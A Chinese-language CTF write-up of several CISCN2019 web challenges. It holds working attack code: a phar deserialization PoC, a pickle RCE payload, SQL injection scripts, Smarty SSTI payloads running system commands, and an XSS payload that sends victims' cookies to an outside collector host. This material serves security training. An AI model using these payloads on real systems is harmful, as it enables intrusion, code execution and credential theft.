[toc]
[CISCN2019 华北赛区 Day1 Web1]Dropbox
知识点:任意文件下载、phar反序列化
注入无果,上传文件应该不是绕过考点,毕竟是CISCN。下载抓包,感觉有任意文件下载,试了试 ../../../../../../../etc/passwd
确实可以,凭感觉下载这么多(忽略poc和phar.jpg)
下完以后可以分析一下了,有 class.php
就想起来反序列化。。。但是不一定有,进去看看。
- 首先是
User
类,sql 全部使用了参数绑定,不存在注入。暂时没有收获 - 接着是
FileList
类,一个__call
可能有用 - 最后是
File
类,其close()
方法内有file_get_contents
函数,考虑使用这个读取/flag.txt
(怎么知道文件名的?看wp 23333)
User
类的析构方法调用了 File::close()
,但是没有回显。再去看 FileList::__call()
,将调用的结果保存在 results[$file->name()][$func]
二维数组里面,而其析构函数又有了下面这一段将其输出了出来
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
那么 pop 链子就很清楚 User::__destruct() -> FileList::__call() -> File::close()
,怎么用呢?
先看看 download.php
,里面有 ini_set("open_basedir", getcwd() . ":/etc:/tmp");
和 chdir($_SESSION['sandbox']);
,这个 $sandbox
是在你登陆的时候 login.php
为每个用户定义了一个固定的上传目录:$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
,download.php
先是限制了当前程序可以访问的目录(其可以同时设置多个可访问目录,分隔符是 :
),又将程序工作目录改变为 $sandbox
,所以在下载上面几个文件的时候用的是 ../../*.php
而不是 *.php
;所以这个脚本并不能直接读取根目录下的 flag.txt
。
再看 delete.php
,虽然有 chdir($_SESSION['sandbox']);
,但是并未限制目录;且$file->open($filename)
会触发phar
反序列化,那就可以调用上面的 pop。phar的讲解可以看看这个文章:初探phar://,受影响的函数列表有下面这些
最后的 poc 如下
<?php
/**
* @Author: ying
* @Date: 2021-10-02 09:57:50
* @Last Modified by: ying
*/
class User {
public $db;
// public function __construct(){
// $this->db = "new FileList()";
// }
// public function __destruct() {
// $this->db->close();
// }
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$file = new File();
$file->filename = '/flag.txt';
$this->files[] = $file;
$this->results = [];
$this->funcs = [];
}
}
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
生成的 phar.phar
改为后缀为 jpg
,上传上去后 POST /delete.php
、 filename=phar://phar.jpg
[CISCN2019 华北赛区 Day1 Web2]ikun
知识点:购物逻辑漏洞、jwt 爆破、pickle 反序列化
推荐阅读:一篇文章带你理解漏洞之 Python 反序列化漏洞、从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
注册登陆,初始金币是 1000.0,首页提示要买到 lv6 账户,等级对应图片名字,写脚本跑一下
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-10-04 10:32:25
# @Last Modified by: ying
# @Last Modified time: 2021-10-04 10:37:44
import requests
import time
sess = requests.session()
original_url = 'http://03b166ca-6f88-4f1d-a613-f67e1fb4a9f7.node4.buuoj.cn:81/shop?page='
for x in range(1,1000):
url = original_url+str(x)
response = sess.get(url=url, timeout=3)
time.sleep(0.06)
if response.status_code == 200:
if 'lv6.png' in response.text:
print('[+] Page is '+str(x))
break
else:
print('[-] Not Found '+str(x))
else:
exit()
跑到第 181 页有了,但是很贵买不起,想抓包试试修改金额看有没有逻辑漏洞。结算时直接修改价格是不行的,需要将discount
改为 0.00000000000000000000000000000000000000000000001即可绕过
但是页面显示只能 admin 访问(注册账户不能用admin作为账户名,因为已经存在了,我是傻福),再看上面抓的包,cookie 里面有 JWT,丢到 jwt.io 解一下,是 HS256 加密,试试能不能跑出来,工具:c-jwt-cracker
跑出来了,然后修改用户名为 admin 即可
修改后发现不能一键成为大会员,去个人中心找到 hint
转头去看买到的 lv6 表面没东西,看看源码,下载下来
在 Admin.py
里面找到 pickle.loads
反序列化的东西,这个应该就是后门了,没什么过滤,直接反序列化一把梭,注意这里 py 的版本是 py2 不能用 3,因为 py2 用的 0 号协议,而 py3 是 3 号协议
poc
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-10-04 11:03:28
# @Last Modified by: ying
# @Last Modified time: 2021-10-04 11:08:11
import pickle
import base64
import urllib
class poc(object):
def __reduce__(self):
return(eval,("open('/flag.txt','r').read()",))
print(urllib.quote(pickle.dumps(poc())))
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
知识点:LFI 、二次注入
随手看源码发现
一波 LFI
<?php
# index.php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<?php
# confim.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
<?php
# search.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch-
?>
<?php
# delete.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db-
?>
<?php
# config.php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
?>
<?php
# change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单ä
?>
看最后一个 change.php
的 sql 语句 $sql = "update
userset
address='".$address."',
old_address='".$row['address']."' where
user_id=".$row['user_id'];
,中间拼接了数据库的内容($row['address']
),而对 $address
的过滤仅有 addslashes()
完成,所以存在二次注入
首先提交订单,地址处填入报错注入语句:' where user_id=extractvalue(0x0a,concat(0x0a,(select substr(load_file('/flag.txt'),20,50))))#
然后修改订单地址随便填即可,因报错注入回显最大为 32 位,所以需要截取
[CISCN2019 华北赛区 Day2 Web1]Hack World
知识点:无需空格的注入
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
正常不会给源码的蛤,先试了试发现 1 和 2 的回显是不一样的,其他会返回 bool ,fuzz 了过滤很多,猜测应该是 select a from b where waf($_POST['id'])
,一手 if 盲注,过滤空格不要紧直接用括号绕过即可
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-10-01 17:35:14
# @Last Modified by: ying
# @Last Modified time: 2021-10-01 17:41:25
import requests
import time
url = 'http://2b5f1e9e-1a81-49cb-92ff-365ee0660990.node4.buuoj.cn:81/index.php'
sess = requests.session()
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = f"if(ascii(substr((select(flag)from(flag)),{x},1))>{mid},1,2)"
data = {
"id":payload
}
response = sess.post(url=url, data=data)
time.sleep(0.1)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
if '}' in result:
break
[CISCN2019 华东南赛区]Web4
知识点:
ssrf ?任意文件读取、flask session伪造
开靶机,进入超链接,url 看着像 ssrf,但是测了一下返回都是 no response,瞅一眼 wp 知道可以试试任意文件读取,还有的师傅直接看 url 的路由处理方式不像 php ,直接猜测是 flask,经验 yyds吧
先试试任意文件读取:/read?url=/etc/passwd
,是可以的。但是直接读 flag 不行的(哪有那么简单哈哈哈)
接着读取当前进程:/read?url=/proc/self/cmdline
,返回 /usr/local/bin/python/app/app.py,读 /app/app.py
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
直接看 /flag
路由,是伪造 session,往上看有没有密匙泄露什么的。发现密匙是伪随机数,种子为 uuid.getnode()
,不知道啥玩意,搜一下。Python——uuid
返回的是 硬件地址(MAC地址),读取 /sys/class/net/eth0/address
为 02:42:ac:10:bb:3c
,然后使用 python2(要和环境一致)
接着使用 flask 解密 session 看看他的格式是什么样的,要不然你咋伪造捏,解密脚本如下
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YVsLOQ.Zh8ekGpWOhMsmGqY4lqz4WooFjQ".encode()))
结构如 {u'username': 'www-data'}
,然后使用工具:flask-session-cookie-manager 伪造即可
[CISCN2019 华东南赛区]Web9
这个靶机应该是有点问题,环境和 exp 在赵师傅这里:https://github.com/glzjin/CISCN_2019_southeastern_China_web9
[CISCN2019 华东南赛区]Web11
知识点:Smarty ssti
这个访问他给的两个url没反应,看wp震惊我一年,师傅不愧是师傅,但是curl我失败了,只能bp了。
先上一个 ssti 图
用 X-Forwarded-For:a{*asd*}b
测出来是 Smarty 框架,X-Forwarded-For:{$smarty.version}
可以知道是其版本是 3.1.30
,但是3.1.30已废除{php}
标签,可以转到 {if}{/if}
这里去搞事情,payload:X-Forwarded-For:{if system('cat /flag')}{/if}
,或者X-Forwarded-For:{if show_source('/flag')}{/if}
[CISCN2019 华东南赛区]Double Secret
这个扫目录无果,访问 /secret
显示 Tell me your secret.I will encrypt it so others can't see
,应该要传参 secret
,传入 a 返回 4,随意传入五个字符会报错,在报错页面可以看到是 flask;也能找到加密密匙
是RC4加密,其详细介绍在维基百科里面有记载:https://en.wikipedia.org/wiki/RC4。网上找了很多加解密的网站但是结果都不太一样,是时候祭出神器:https://www.chinabaiker.com/cyberchef.htm
ssti 丢上去即可,因为有不可见字符,所以加了 urlencode。接着传参得到 flag
[CISCN2019 华东北赛区]Web2
这个复现失败了,原因未知,xss不能拿到管理员cookie,应该是buu靶机改了,以前是不出网的,现在可以了
xss,绕过csp,哈希生日密码攻击,注入
注册,登陆。功能有投稿和反馈,看这个反馈页面就像是 xss ,通过投稿文章内容把页面发给管理员窃取 cookie
首先在投稿处试试简单的 xss payload:<script>alert(1)</script>
,点进去后发现并没有弹窗,看看源码
嘤文括号变成中文括号了,且有csp。但是其开启了'unsafe-inline' 'unsafe-eval'
,这就意味着我们可以执行一个内联的 js 代码,由 buuxss 提供的 xss payload 不能直接使用,绕过csp也很简单,只需将 (new Image()).src
改为 window.location.href
再将 payload 进行实体编码(又叫 HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html)
脚本也很简单
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-10-10 21:55:55
# @Last Modified by: ying
xss = '''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=CS6Bpk&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
payload = ''
for x in xss:
payload += '&#'+str(ord(x))
print('<svg><script>eval("'+payload+'")</script>')
点击文章会发现跳转到首页,然后去反馈处将文章填进去,验证码由下面的脚本计算,今天才知道他是哈希碰撞与生日攻击
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-10-10 22:04:44
# @Last Modified by: ying
import hashlib
for x in range(0,10000000000000001):
a = hashlib.md5(str(x).encode('utf-8')).hexdigest()[0:6]
if a == '445dc3':
print(x)
break
然后复现失败。。。知道怎么绕过的就行了,涨涨姿势。后面的就是简单的内联注入没啥玩的